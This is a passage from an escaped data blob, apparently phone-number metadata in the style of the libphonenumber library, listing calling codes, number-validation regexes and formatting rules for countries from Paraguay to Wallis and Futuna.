$2\",[\"[2-9]\"]]]],PY:[\"595\",\"00\",\"59\\\\d{4,6}|9\\\\d{5,10}|(?:[2-46-8]\\\\d|5[0-8])\\\\d{4,7}\",[6,7,8,9,10,11],[[\"(\\\\d{3})(\\\\d{3,6})\",\"$1 $2\",[\"[2-9]0\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{5})\",\"$1 $2\",[\"[26]1|3[289]|4[1246-8]|7[1-3]|8[1-36]\"],\"(0$1)\"],[\"(\\\\d{3})(\\\\d{4,5})\",\"$1 $2\",[\"2[279]|3[13-5]|4[359]|5|6(?:[34]|7[1-46-8])|7[46-8]|85\"],\"(0$1)\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"2[14-68]|3[26-9]|4[1246-8]|6(?:1|75)|7[1-35]|8[1-36]\"],\"(0$1)\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"87\"]],[\"(\\\\d{3})(\\\\d{6})\",\"$1 $2\",[\"9(?:[5-79]|8[1-6])\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[2-8]\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"9\"]]],\"0\"],QA:[\"974\",\"00\",\"800\\\\d{4}|(?:2|800)\\\\d{6}|(?:0080|[3-7])\\\\d{7}\",[7,8,9,11],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"2[16]|8\"]],[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[3-7]\"]]]],RE:[\"262\",\"00\",\"(?:26|[689]\\\\d)\\\\d{7}\",[9],[[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[2689]\"],\"0$1\"]],\"0\",0,0,0,0,0,[[\"26(?:2\\\\d\\\\d|3(?:0\\\\d|1[0-6]))\\\\d{4}\"],[\"69(?:2\\\\d\\\\d|3(?:[06][0-6]|1[013]|2[0-2]|3[0-39]|4\\\\d|5[0-5]|7[0-37]|8[0-8]|9[0-479]))\\\\d{4}\"],[\"80\\\\d{7}\"],[\"89[1-37-9]\\\\d{6}\"],0,0,0,0,[\"9(?:399[0-3]|479[0-5]|76(?:2[27]|3[0-37]))\\\\d{4}\"],[\"8(?:1[019]|2[0156]|84|90)\\\\d{6}\"]]],RO:[\"40\",\"00\",\"(?:[2378]\\\\d|62|90)\\\\d{7}|[23]\\\\d{5}\",[6,9],[[\"(\\\\d{3})(\\\\d{3})\",\"$1 $2\",[\"2[3-6]\",\"2[3-6]\\\\d9\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{4})\",\"$1 $2\",[\"219|31\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[23]1\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[236-9]\"],\"0$1\"]],\"0\",0,0,0,0,0,0,0,\" int \"],RS:[\"381\",\"00\",\"38[02-9]\\\\d{6,9}|6\\\\d{7,9}|90\\\\d{4,8}|38\\\\d{5,6}|(?:7\\\\d\\\\d|800)\\\\d{3,9}|(?:[12]\\\\d|3[0-79])\\\\d{5,10}\",[6,7,8,9,10,11,12],[[\"(\\\\d{3})(\\\\d{3,9})\",\"$1 $2\",[\"(?:2[389]|39)0|[7-9]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{5,10})\",\"$1 $2\",[\"[1-36]\"],\"0$1\"]],\"0\"],RU:[\"7\",\"810\",\"8\\\\d{13}|[347-9]\\\\d{9}\",[10,14],[[\"(\\\\d{4})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"7(?:1[0-8]|2[1-9])\",\"7(?:1(?:[0-356]2|4[29]|7|8[27])|2(?:1[23]|[2-9]2))\",\"7(?:1(?:[0-356]2|4[29]|7|8[27])|2(?:13[03-69]|62[013-9]))|72[1-57-9]2\"],\"8 ($1)\",1],[\"(\\\\d{5})(\\\\d)(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"7(?:1[0-68]|2[1-9])\",\"7(?:1(?:[06][3-6]|[18]|2[35]|[3-5][3-5])|2(?:[13][3-5]|[24-689]|7[457]))\",\"7(?:1(?:0(?:[356]|4[023])|[18]|2(?:3[013-9]|5)|3[45]|43[013-79]|5(?:3[1-8]|4[1-7]|5)|6(?:3[0-35-9]|[4-6]))|2(?:1(?:3[178]|[45])|[24-689]|3[35]|7[457]))|7(?:14|23)4[0-8]|71(?:33|45)[1-79]\"],\"8 ($1)\",1],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"7\"],\"8 ($1)\",1],[\"(\\\\d{3})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2-$3-$4\",[\"[349]|8(?:[02-7]|1[1-8])\"],\"8 ($1)\",1],[\"(\\\\d{4})(\\\\d{4})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3 $4\",[\"8\"],\"8 ($1)\"]],\"8\",0,0,0,0,\"3[04-689]|[489]\",0,\"8~10\"],RW:[\"250\",\"00\",\"(?:06|[27]\\\\d\\\\d|[89]00)\\\\d{6}\",[8,9],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"0\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"2\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[7-9]\"],\"0$1\"]],\"0\"],SA:[\"966\",\"00\",\"92\\\\d{7}|(?:[15]|8\\\\d)\\\\d{8}\",[9,10],[[\"(\\\\d{4})(\\\\d{5})\",\"$1 $2\",[\"9\"]],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"1\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"5\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"81\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"8\"]]],\"0\"],SB:[\"677\",\"0[01]\",\"(?:[1-6]|[7-9]\\\\d\\\\d)\\\\d{4}\",[5,7],[[\"(\\\\d{2})(\\\\d{5})\",\"$1 $2\",[\"7|8[4-9]|9(?:[1-8]|9[0-8])\"]]]],SC:[\"248\",\"010|0[0-2]\",\"800\\\\d{4}|(?:[249]\\\\d|64)\\\\d{5}\",[7],[[\"(\\\\d)(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[246]|9[57]\"]]],0,0,0,0,0,0,0,\"00\"],SD:[\"249\",\"00\",\"[19]\\\\d{8}\",[9],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[19]\"],\"0$1\"]],\"0\"],SE:[\"46\",\"00\",\"(?:[26]\\\\d\\\\d|9)\\\\d{9}|[1-9]\\\\d{8}|[1-689]\\\\d{7}|[1-4689]\\\\d{6}|2\\\\d{5}\",[6,7,8,9,10],[[\"(\\\\d{2})(\\\\d{2,3})(\\\\d{2})\",\"$1-$2 $3\",[\"20\"],\"0$1\",0,\"$1 $2 $3\"],[\"(\\\\d{3})(\\\\d{4})\",\"$1-$2\",[\"9(?:00|39|44|9)\"],\"0$1\",0,\"$1 $2\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2})\",\"$1-$2 $3\",[\"[12][136]|3[356]|4[0246]|6[03]|90[1-9]\"],\"0$1\",0,\"$1 $2 $3\"],[\"(\\\\d)(\\\\d{2,3})(\\\\d{2})(\\\\d{2})\",\"$1-$2 $3 $4\",[\"8\"],\"0$1\",0,\"$1 $2 $3 $4\"],[\"(\\\\d{3})(\\\\d{2,3})(\\\\d{2})\",\"$1-$2 $3\",[\"1[2457]|2(?:[247-9]|5[0138])|3[0247-9]|4[1357-9]|5[0-35-9]|6(?:[125689]|4[02-57]|7[0-2])|9(?:[125-8]|3[02-5]|4[0-3])\"],\"0$1\",0,\"$1 $2 $3\"],[\"(\\\\d{3})(\\\\d{2,3})(\\\\d{3})\",\"$1-$2 $3\",[\"9(?:00|39|44)\"],\"0$1\",0,\"$1 $2 $3\"],[\"(\\\\d{2})(\\\\d{2,3})(\\\\d{2})(\\\\d{2})\",\"$1-$2 $3 $4\",[\"1[13689]|2[0136]|3[1356]|4[0246]|54|6[03]|90[1-9]\"],\"0$1\",0,\"$1 $2 $3 $4\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1-$2 $3 $4\",[\"10|7\"],\"0$1\",0,\"$1 $2 $3 $4\"],[\"(\\\\d)(\\\\d{3})(\\\\d{3})(\\\\d{2})\",\"$1-$2 $3 $4\",[\"8\"],\"0$1\",0,\"$1 $2 $3 $4\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1-$2 $3 $4\",[\"[13-5]|2(?:[247-9]|5[0138])|6(?:[124-689]|7[0-2])|9(?:[125-8]|3[02-5]|4[0-3])\"],\"0$1\",0,\"$1 $2 $3 $4\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{3})\",\"$1-$2 $3 $4\",[\"9\"],\"0$1\",0,\"$1 $2 $3 $4\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1-$2 $3 $4 $5\",[\"[26]\"],\"0$1\",0,\"$1 $2 $3 $4 $5\"]],\"0\"],SG:[\"65\",\"0[0-3]\\\\d\",\"(?:(?:1\\\\d|8)\\\\d\\\\d|7000)\\\\d{7}|[3689]\\\\d{7}\",[8,10,11],[[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[369]|8(?:0[1-8]|[1-9])\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"8\"]],[\"(\\\\d{4})(\\\\d{4})(\\\\d{3})\",\"$1 $2 $3\",[\"7\"]],[\"(\\\\d{4})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"1\"]]]],SH:[\"290\",\"00\",\"(?:[256]\\\\d|8)\\\\d{3}\",[4,5],0,0,0,0,0,0,\"[256]\"],SI:[\"386\",\"00|10(?:22|66|88|99)\",\"[1-7]\\\\d{7}|8\\\\d{4,7}|90\\\\d{4,6}\",[5,6,7,8],[[\"(\\\\d{2})(\\\\d{3,6})\",\"$1 $2\",[\"8[09]|9\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{5})\",\"$1 $2\",[\"59|8\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[37][01]|4[0139]|51|6\"],\"0$1\"],[\"(\\\\d)(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[1-57]\"],\"(0$1)\"]],\"0\",0,0,0,0,0,0,\"00\"],SJ:[\"47\",\"00\",\"0\\\\d{4}|(?:[489]\\\\d|79)\\\\d{6}\",[5,8],0,0,0,0,0,0,\"79\"],SK:[\"421\",\"00\",\"[2-689]\\\\d{8}|[2-59]\\\\d{6}|[2-5]\\\\d{5}\",[6,7,9],[[\"(\\\\d)(\\\\d{2})(\\\\d{3,4})\",\"$1 $2 $3\",[\"21\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2,3})\",\"$1 $2 $3\",[\"[3-5][1-8]1\",\"[3-5][1-8]1[67]\"],\"0$1\"],[\"(\\\\d)(\\\\d{3})(\\\\d{3})(\\\\d{2})\",\"$1\u002F$2 $3 $4\",[\"2\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[689]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1\u002F$2 $3 $4\",[\"[3-5]\"],\"0$1\"]],\"0\"],SL:[\"232\",\"00\",\"(?:[237-9]\\\\d|66)\\\\d{6}\",[8],[[\"(\\\\d{2})(\\\\d{6})\",\"$1 $2\",[\"[236-9]\"],\"(0$1)\"]],\"0\"],SM:[\"378\",\"00\",\"(?:0549|[5-7]\\\\d)\\\\d{6}\",[8,10],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[5-7]\"]],[\"(\\\\d{4})(\\\\d{6})\",\"$1 $2\",[\"0\"]]],0,0,\"([89]\\\\d{5})$\",\"0549$1\"],SN:[\"221\",\"00\",\"(?:[378]\\\\d|93)\\\\d{7}\",[9],[[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"8\"]],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[379]\"]]]],SO:[\"252\",\"00\",\"[346-9]\\\\d{8}|[12679]\\\\d{7}|[1-5]\\\\d{6}|[1348]\\\\d{5}\",[6,7,8,9],[[\"(\\\\d{2})(\\\\d{4})\",\"$1 $2\",[\"8[125]\"]],[\"(\\\\d{6})\",\"$1\",[\"[134]\"]],[\"(\\\\d)(\\\\d{6})\",\"$1 $2\",[\"[15]|2[0-79]|3[0-46-8]|4[0-7]\"]],[\"(\\\\d)(\\\\d{7})\",\"$1 $2\",[\"(?:2|90)4|[67]\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[348]|64|79|90\"]],[\"(\\\\d{2})(\\\\d{5,7})\",\"$1 $2\",[\"1|28|6[0-35-9]|77|9[2-9]\"]]],\"0\"],SR:[\"597\",\"00\",\"(?:[2-5]|68|[78]\\\\d)\\\\d{5}\",[6,7],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1-$2-$3\",[\"56\"]],[\"(\\\\d{3})(\\\\d{3})\",\"$1-$2\",[\"[2-5]\"]],[\"(\\\\d{3})(\\\\d{4})\",\"$1-$2\",[\"[6-8]\"]]]],SS:[\"211\",\"00\",\"[19]\\\\d{8}\",[9],[[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[19]\"],\"0$1\"]],\"0\"],ST:[\"239\",\"00\",\"(?:22|9\\\\d)\\\\d{5}\",[7],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[29]\"]]]],SV:[\"503\",\"00\",\"[267]\\\\d{7}|[89]00\\\\d{4}(?:\\\\d{4})?\",[7,8,11],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[89]\"]],[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[267]\"]],[\"(\\\\d{3})(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"[89]\"]]]],SX:[\"1\",\"011\",\"7215\\\\d{6}|(?:[58]\\\\d\\\\d|900)\\\\d{7}\",[10],0,\"1\",0,\"(5\\\\d{6})$|1\",\"721$1\",0,\"721\"],SY:[\"963\",\"00\",\"[1-39]\\\\d{8}|[1-5]\\\\d{7}\",[8,9],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[1-5]\"],\"0$1\",1],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"9\"],\"0$1\",1]],\"0\"],SZ:[\"268\",\"00\",\"0800\\\\d{4}|(?:[237]\\\\d|900)\\\\d{6}\",[8,9],[[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[0237]\"]],[\"(\\\\d{5})(\\\\d{4})\",\"$1 $2\",[\"9\"]]]],TA:[\"290\",\"00\",\"8\\\\d{3}\",[4],0,0,0,0,0,0,\"8\"],TC:[\"1\",\"011\",\"(?:[58]\\\\d\\\\d|649|900)\\\\d{7}\",[10],0,\"1\",0,\"([2-479]\\\\d{6})$|1\",\"649$1\",0,\"649\"],TD:[\"235\",\"00|16\",\"(?:22|[69]\\\\d|77)\\\\d{6}\",[8],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[2679]\"]]],0,0,0,0,0,0,0,\"00\"],TG:[\"228\",\"00\",\"[279]\\\\d{7}\",[8],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[279]\"]]]],TH:[\"66\",\"00[1-9]\",\"(?:001800|[2-57]|[689]\\\\d)\\\\d{7}|1\\\\d{7,9}\",[8,9,10,13],[[\"(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"2\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[13-9]\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"1\"]]],\"0\"],TJ:[\"992\",\"810\",\"[0-57-9]\\\\d{8}\",[9],[[\"(\\\\d{6})(\\\\d)(\\\\d{2})\",\"$1 $2 $3\",[\"331\",\"3317\"]],[\"(\\\\d{3})(\\\\d{2})(\\\\d{4})\",\"$1 $2 $3\",[\"44[02-479]|[34]7\"]],[\"(\\\\d{4})(\\\\d)(\\\\d{4})\",\"$1 $2 $3\",[\"3[1-5]\"]],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[0-57-9]\"]]],0,0,0,0,0,0,0,\"8~10\"],TK:[\"690\",\"00\",\"[2-47]\\\\d{3,6}\",[4,5,6,7]],TL:[\"670\",\"00\",\"7\\\\d{7}|(?:[2-47]\\\\d|[89]0)\\\\d{5}\",[7,8],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[2-489]|70\"]],[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"7\"]]]],TM:[\"993\",\"810\",\"[1-6]\\\\d{7}\",[8],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2-$3-$4\",[\"12\"],\"(8 $1)\"],[\"(\\\\d{3})(\\\\d)(\\\\d{2})(\\\\d{2})\",\"$1 $2-$3-$4\",[\"[1-5]\"],\"(8 $1)\"],[\"(\\\\d{2})(\\\\d{6})\",\"$1 $2\",[\"6\"],\"8 $1\"]],\"8\",0,0,0,0,0,0,\"8~10\"],TN:[\"216\",\"00\",\"[2-57-9]\\\\d{7}\",[8],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[2-57-9]\"]]]],TO:[\"676\",\"00\",\"(?:0800|(?:[5-8]\\\\d\\\\d|999)\\\\d)\\\\d{3}|[2-8]\\\\d{4}\",[5,7],[[\"(\\\\d{2})(\\\\d{3})\",\"$1-$2\",[\"[2-4]|50|6[09]|7[0-24-69]|8[05]\"]],[\"(\\\\d{4})(\\\\d{3})\",\"$1 $2\",[\"0\"]],[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[5-9]\"]]]],TR:[\"90\",\"00\",\"4\\\\d{6}|8\\\\d{11,12}|(?:[2-58]\\\\d\\\\d|900)\\\\d{7}\",[7,10,12,13],[[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"512|8[01589]|90\"],\"0$1\",1],[\"(\\\\d{3})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"5(?:[0-59]|61)\",\"5(?:[0-59]|61[06])\",\"5(?:[0-59]|61[06]1)\"],\"0$1\",1],[\"(\\\\d{3})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[24][1-8]|3[1-9]\"],\"(0$1)\",1],[\"(\\\\d{3})(\\\\d{3})(\\\\d{6,7})\",\"$1 $2 $3\",[\"80\"],\"0$1\",1]],\"0\"],TT:[\"1\",\"011\",\"(?:[58]\\\\d\\\\d|900)\\\\d{7}\",[10],0,\"1\",0,\"([2-46-8]\\\\d{6})$|1\",\"868$1\",0,\"868\"],TV:[\"688\",\"00\",\"(?:2|7\\\\d\\\\d|90)\\\\d{4}\",[5,6,7],[[\"(\\\\d{2})(\\\\d{3})\",\"$1 $2\",[\"2\"]],[\"(\\\\d{2})(\\\\d{4})\",\"$1 $2\",[\"90\"]],[\"(\\\\d{2})(\\\\d{5})\",\"$1 $2\",[\"7\"]]]],TW:[\"886\",\"0(?:0[25-79]|19)\",\"[2-689]\\\\d{8}|7\\\\d{9,10}|[2-8]\\\\d{7}|2\\\\d{6}\",[7,8,9,10,11],[[\"(\\\\d{2})(\\\\d)(\\\\d{4})\",\"$1 $2 $3\",[\"202\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[258]0\"],\"0$1\"],[\"(\\\\d)(\\\\d{3,4})(\\\\d{4})\",\"$1 $2 $3\",[\"[23568]|4(?:0[02-48]|[1-47-9])|7[1-9]\",\"[23568]|4(?:0[2-48]|[1-47-9])|(?:400|7)[1-9]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[49]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{4})(\\\\d{4,5})\",\"$1 $2 $3\",[\"7\"],\"0$1\"]],\"0\",0,0,0,0,0,0,0,\"#\"],TZ:[\"255\",\"00[056]\",\"(?:[25-8]\\\\d|41|90)\\\\d{7}\",[9],[[\"(\\\\d{3})(\\\\d{2})(\\\\d{4})\",\"$1 $2 $3\",[\"[89]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[24]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{7})\",\"$1 $2\",[\"5\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[67]\"],\"0$1\"]],\"0\"],UA:[\"380\",\"00\",\"[89]\\\\d{9}|[3-9]\\\\d{8}\",[9,10],[[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"6[12][29]|(?:3[1-8]|4[136-8]|5[12457]|6[49])2|(?:56|65)[24]\",\"6[12][29]|(?:35|4[1378]|5[12457]|6[49])2|(?:56|65)[24]|(?:3[1-46-8]|46)2[013-9]\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{5})\",\"$1 $2\",[\"3[1-8]|4(?:[1367]|[45][6-9]|8[4-6])|5(?:[1-5]|6[0135689]|7[4-6])|6(?:[12][3-7]|[459])\",\"3[1-8]|4(?:[1367]|[45][6-9]|8[4-6])|5(?:[1-5]|6(?:[015689]|3[02389])|7[4-6])|6(?:[12][3-7]|[459])\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[3-7]|89|9[1-9]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"[89]\"],\"0$1\"]],\"0\",0,0,0,0,0,0,\"0~0\"],UG:[\"256\",\"00[057]\",\"800\\\\d{6}|(?:[29]0|[347]\\\\d)\\\\d{7}\",[9],[[\"(\\\\d{4})(\\\\d{5})\",\"$1 $2\",[\"202\",\"2024\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{6})\",\"$1 $2\",[\"[27-9]|4(?:6[45]|[7-9])\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{7})\",\"$1 $2\",[\"[34]\"],\"0$1\"]],\"0\"],US:[\"1\",\"011\",\"[2-9]\\\\d{9}|3\\\\d{6}\",[10],[[\"(\\\\d{3})(\\\\d{4})\",\"$1-$2\",[\"310\"],0,1],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"($1) $2-$3\",[\"[2-9]\"],0,1,\"$1-$2-$3\"]],\"1\",0,0,0,0,0,[[\"(?:5056(?:[0-35-9]\\\\d|4[468])|73020\\\\d)\\\\d{4}|(?:4722|505[2-57-9]|983[289])\\\\d{6}|(?:2(?:0[1-35-9]|1[02-9]|2[03-57-9]|3[149]|4[08]|5[1-46]|6[0279]|7[0269]|8[13])|3(?:0[1-57-9]|1[02-9]|2[013569]|3[0-24679]|4[167]|5[0-2]|6[0149]|8[056])|4(?:0[124-9]|1[02-579]|2[3-5]|3[0245]|4[023578]|58|6[349]|7[0589]|8[04])|5(?:0[1-47-9]|1[0235-8]|20|3[0149]|4[01]|5[179]|6[1-47]|7[0-5]|8[0256])|6(?:0[1-35-9]|1[024-9]|2[03689]|[34][016]|5[01679]|6[0-279]|78|8[0-29])|7(?:0[1-46-8]|1[2-9]|2[04-7]|3[1247]|4[037]|5[47]|6[02359]|7[0-59]|8[156])|8(?:0[1-68]|1[02-8]|2[068]|3[0-2589]|4[03578]|5[046-9]|6[02-5]|7[028])|9(?:0[1346-9]|1[02-9]|2[0589]|3[0146-8]|4[01357-9]|5[12469]|7[0-389]|8[04-69]))[2-9]\\\\d{6}\"],[\"\"],[\"8(?:00|33|44|55|66|77|88)[2-9]\\\\d{6}\"],[\"900[2-9]\\\\d{6}\"],[\"52(?:3(?:[2-46-9][02-9]\\\\d|5(?:[02-46-9]\\\\d|5[0-46-9]))|4(?:[2-478][02-9]\\\\d|5(?:[034]\\\\d|2[024-9]|5[0-46-9])|6(?:0[1-9]|[2-9]\\\\d)|9(?:[05-9]\\\\d|2[0-5]|49)))\\\\d{4}|52[34][2-9]1[02-9]\\\\d{4}|5(?:00|2[125-9]|33|44|66|77|88)[2-9]\\\\d{6}\"]]],UY:[\"598\",\"0(?:0|1[3-9]\\\\d)\",\"0004\\\\d{2,9}|[1249]\\\\d{7}|(?:[49]\\\\d|80)\\\\d{5}\",[6,7,8,9,10,11,12,13],[[\"(\\\\d{3})(\\\\d{3,4})\",\"$1 $2\",[\"0\"]],[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[49]0|8\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"9\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[124]\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{2,4})\",\"$1 $2 $3\",[\"0\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})(\\\\d{2,4})\",\"$1 $2 $3 $4\",[\"0\"]]],\"0\",0,0,0,0,0,0,\"00\",\" int. \"],UZ:[\"998\",\"810\",\"(?:20|33|[5-79]\\\\d|88)\\\\d{7}\",[9],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[235-9]\"],\"8 $1\"]],\"8\",0,0,0,0,0,0,\"8~10\"],VA:[\"39\",\"00\",\"0\\\\d{5,10}|3[0-8]\\\\d{7,10}|55\\\\d{8}|8\\\\d{5}(?:\\\\d{2,4})?|(?:1\\\\d|39)\\\\d{7,8}\",[6,7,8,9,10,11],0,0,0,0,0,0,\"06698\"],VC:[\"1\",\"011\",\"(?:[58]\\\\d\\\\d|784|900)\\\\d{7}\",[10],0,\"1\",0,\"([2-7]\\\\d{6})$|1\",\"784$1\",0,\"784\"],VE:[\"58\",\"00\",\"[68]00\\\\d{7}|(?:[24]\\\\d|[59]0)\\\\d{8}\",[10],[[\"(\\\\d{3})(\\\\d{7})\",\"$1-$2\",[\"[24-689]\"],\"0$1\"]],\"0\"],VG:[\"1\",\"011\",\"(?:284|[58]\\\\d\\\\d|900)\\\\d{7}\",[10],0,\"1\",0,\"([2-578]\\\\d{6})$|1\",\"284$1\",0,\"284\"],VI:[\"1\",\"011\",\"[58]\\\\d{9}|(?:34|90)0\\\\d{7}\",[10],0,\"1\",0,\"([2-9]\\\\d{6})$|1\",\"340$1\",0,\"340\"],VN:[\"84\",\"00\",\"[12]\\\\d{9}|[135-9]\\\\d{8}|[16]\\\\d{7}|[16-8]\\\\d{6}\",[7,8,9,10],[[\"(\\\\d{2})(\\\\d{5})\",\"$1 $2\",[\"80\"],\"0$1\",1],[\"(\\\\d{4})(\\\\d{4,6})\",\"$1 $2\",[\"1\"],0,1],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"6\"],\"0$1\",1],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[357-9]\"],\"0$1\",1],[\"(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"2[48]\"],\"0$1\",1],[\"(\\\\d{3})(\\\\d{4})(\\\\d{3})\",\"$1 $2 $3\",[\"2\"],\"0$1\",1]],\"0\"],VU:[\"678\",\"00\",\"[57-9]\\\\d{6}|(?:[238]\\\\d|48)\\\\d{3}\",[5,7],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[57-9]\"]]]],WF:[\"681\",\"00\",\"(?:40|72)\\\\d{4}|8\\\\d{5}(?:\\\\d{3})?\",[6,9],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3\",[\"[478]\"]],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 